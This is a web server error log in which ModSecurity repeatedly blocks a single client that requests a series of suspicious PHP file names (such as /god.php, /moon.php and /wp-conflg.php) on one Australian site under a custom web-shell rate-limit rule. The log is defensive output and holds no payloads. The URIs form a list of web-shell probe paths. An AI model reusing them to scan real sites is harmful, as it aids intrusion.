[Sun Mar 01 16:00:24.686761 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18329] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaPyGAxtfZjwlJok9K_MXgAAAQQ"]
[Sun Mar 01 16:00:25.104517 2026] [:error] [pid 38034:tid 38052] [client 4.204.200.32:18081] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaPyGQxtfZjwlJok9K_MXwAAAQ4"]
[Sun Mar 01 16:00:25.535097 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:17921] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaPyGQxtfZjwlJok9K_MYwAAARY"]
[Sun Mar 01 16:00:25.957466 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18082] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaPyGQxtfZjwlJok9K_MZAAAAQM"]
[Sun Mar 01 16:00:26.368895 2026] [:error] [pid 38034:tid 38044] [client 4.204.200.32:17912] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaPyGgxtfZjwlJok9K_MaQAAAQY"]
[Sun Mar 01 16:00:26.788540 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:17953] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaPyGgxtfZjwlJok9K_MbAAAARc"]
[Sun Mar 01 16:00:27.240550 2026] [:error] [pid 38034:tid 38054] [client 4.204.200.32:18224] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaPyGwxtfZjwlJok9K_McAAAARA"]
[Sun Mar 01 16:00:27.670752 2026] [:error] [pid 7133:tid 7135] [client 4.204.200.32:18010] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaPyG_Ctubh8pR64qB_KIwAAAEA"]
[Sun Mar 01 16:00:28.100061 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18151] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaPyHPKRPk6YnJBxw_xfWgAAAMA"]
[Sun Mar 01 16:00:28.556671 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:17873] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaPyHPKRPk6YnJBxw_xfXAAAAMg"]
[Sun Mar 01 16:00:29.008159 2026] [:error] [pid 44644:tid 44662] [client 4.204.200.32:18045] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaPyHZ3RJaXMcw3y9V-0ZAAAAA8"]
[Sun Mar 01 16:00:29.438749 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:17931] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaPyHfKRPk6YnJBxw_xfYQAAAMg"]
[Sun Mar 01 16:00:29.869001 2026] [:error] [pid 44644:tid 44650] [client 4.204.200.32:18061] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaPyHZ3RJaXMcw3y9V-0ZgAAAAM"]
[Sun Mar 01 16:00:30.299266 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18027] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPyHp3RJaXMcw3y9V-0aQAAAAk"]
[Sun Mar 01 16:00:30.712996 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:17986] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPyHhRjCrA8qWBjgG82TAAAAkk"]
[Sun Mar 01 16:00:31.125431 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:17996] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPyHwxtfZjwlJok9K_MfgAAARY"]
[Sun Mar 01 16:00:31.587732 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:17945] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPyH_KRPk6YnJBxw_xfaAAAAMQ"]
[Sun Mar 01 16:00:32.005676 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18028] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaPyIPKRPk6YnJBxw_xfagAAAMg"]
[Sun Mar 01 16:00:32.431654 2026] [:error] [pid 7133:tid 7159] [client 4.204.200.32:17994] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaPyIPCtubh8pR64qB_KJQAAAFg"]
[Sun Mar 01 16:00:32.847473 2026] [:error] [pid 41342:tid 41349] [client 4.204.200.32:18021] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaPyII4iJ6RAS5CatDlLFwAAAgQ"]
[Sun Mar 01 16:00:33.273178 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18078] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaPyIfKRPk6YnJBxw_xfbgAAAMQ"]
[Sun Mar 01 16:00:33.741404 2026] [:error] [pid 42619:tid 42640] [client 4.204.200.32:17950] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaPyIR_zUXcYaZE4AOeW0QAAAVM"]
[Sun Mar 01 16:00:34.161127 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:17810] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaPyIvKRPk6YnJBxw_xfcAAAAMw"]
[Sun Mar 01 16:00:34.578645 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:17998] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaPyIuu0U4o7eSImsVRPwgAAAZM"]
[Sun Mar 01 16:00:34.991453 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18008] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaPyIvKRPk6YnJBxw_xfdAAAAMg"]
[Sun Mar 01 16:00:35.403486 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18121] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaPyI_KRPk6YnJBxw_xfdgAAAMQ"]
[Sun Mar 01 16:00:35.832322 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18091] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaPyI_KRPk6YnJBxw_xfeQAAAMk"]
[Sun Mar 01 16:00:36.257070 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:17954] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaPyJPKRPk6YnJBxw_xfewAAAMQ"]
[Sun Mar 01 16:00:36.789550 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18086] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaPyJPKRPk6YnJBxw_xffgAAAMU"]
[Sun Mar 01 16:00:37.213747 2026] [:error] [pid 42619:tid 42643] [client 4.204.200.32:17956] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaPyJR_zUXcYaZE4AOeW2AAAAVY"]
[Sun Mar 01 16:00:37.626981 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18031] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaPyJQxtfZjwlJok9K_MiAAAAQ0"]
[Sun Mar 01 16:00:38.042471 2026] [:error] [pid 41967:tid 41969] [client 4.204.200.32:18062] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaPyJoO1bqY181I02eGSMwAAAIA"]
[Sun Mar 01 16:00:38.461766 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18022] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaPyJgxtfZjwlJok9K_MjQAAAQw"]
[Sun Mar 01 16:00:38.879970 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18130] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaPyJgxtfZjwlJok9K_MlQAAARg"]
[Sun Mar 01 16:00:39.295505 2026] [:error] [pid 7165:tid 7190] [client 4.204.200.32:17978] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaPyJxRjCrA8qWBjgG82TwAAAlc"]
[Sun Mar 01 16:00:39.725962 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:17959] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaPyJwxtfZjwlJok9K_MnwAAAQw"]
[Sun Mar 01 16:00:40.141711 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18098] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaPyKJ3RJaXMcw3y9V-0dwAAAAk"]
[Sun Mar 01 16:00:40.560074 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18073] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaPyKAxtfZjwlJok9K_MpQAAARg"]
[Sun Mar 01 16:00:40.990728 2026] [:error] [pid 38034:tid 38059] [client 4.204.200.32:18019] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaPyKAxtfZjwlJok9K_MpwAAARU"]
[Sun Mar 01 16:00:41.407807 2026] [:error] [pid 44644:tid 44665] [client 4.204.200.32:17958] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaPyKZ3RJaXMcw3y9V-0fAAAABI"]
[Sun Mar 01 16:00:41.831065 2026] [:error] [pid 38034:tid 38053] [client 4.204.200.32:17885] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaPyKQxtfZjwlJok9K_MrQAAAQ8"]
[Sun Mar 01 16:00:42.254024 2026] [:error] [pid 41342:tid 41368] [client 4.204.200.32:17943] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaPyKo4iJ6RAS5CatDlLGgAAAhc"]
[Sun Mar 01 16:00:42.666266 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:17809] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaPyKvKRPk6YnJBxw_xfkAAAANM"]
[Sun Mar 01 16:00:43.077789 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:17858] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaPyK_KRPk6YnJBxw_xfkQAAAMU"]
[Sun Mar 01 16:00:43.496991 2026] [:error] [pid 38034:tid 38059] [client 4.204.200.32:17889] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaPyKwxtfZjwlJok9K_MtAAAARU"]
[Sun Mar 01 16:00:43.915257 2026] [:error] [pid 38034:tid 38044] [client 4.204.200.32:17880] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaPyKwxtfZjwlJok9K_MtQAAAQY"]
[Sun Mar 01 16:00:44.335330 2026] [:error] [pid 38241:tid 38250] [client 4.204.200.32:17968] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaPyLPKRPk6YnJBxw_xflgAAAMY"]
[Sun Mar 01 16:00:44.759981 2026] [:error] [pid 41967:tid 41985] [client 4.204.200.32:17860] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaPyLIO1bqY181I02eGSPQAAAJA"]
[Sun Mar 01 16:00:45.183165 2026] [:error] [pid 37032:tid 37042] [client 4.204.200.32:17806] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaPyLeu0U4o7eSImsVRP0AAAAYg"]
[Sun Mar 01 16:00:45.595896 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18036] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaPyLfKRPk6YnJBxw_xfmAAAAMU"]
[Sun Mar 01 16:00:46.017470 2026] [:error] [pid 38241:tid 38266] [client 4.204.200.32:17927] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaPyLvKRPk6YnJBxw_xfnAAAANY"]
[Sun Mar 01 16:00:46.462247 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:17934] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaPyLvKRPk6YnJBxw_xfnQAAAMQ"]
[Sun Mar 01 16:00:46.875770 2026] [:error] [pid 38241:tid 38247] [client 4.204.200.32:17911] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaPyLvKRPk6YnJBxw_xfnwAAAMM"]
[Sun Mar 01 16:00:47.297648 2026] [:error] [pid 38241:tid 38266] [client 4.204.200.32:17939] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPyL_KRPk6YnJBxw_xfogAAANY"]
[Sun Mar 01 16:00:47.720937 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:17948] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPyL_KRPk6YnJBxw_xfpAAAAMU"]
[Sun Mar 01 16:00:48.140453 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18124] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPyMPKRPk6YnJBxw_xfpQAAAMk"]
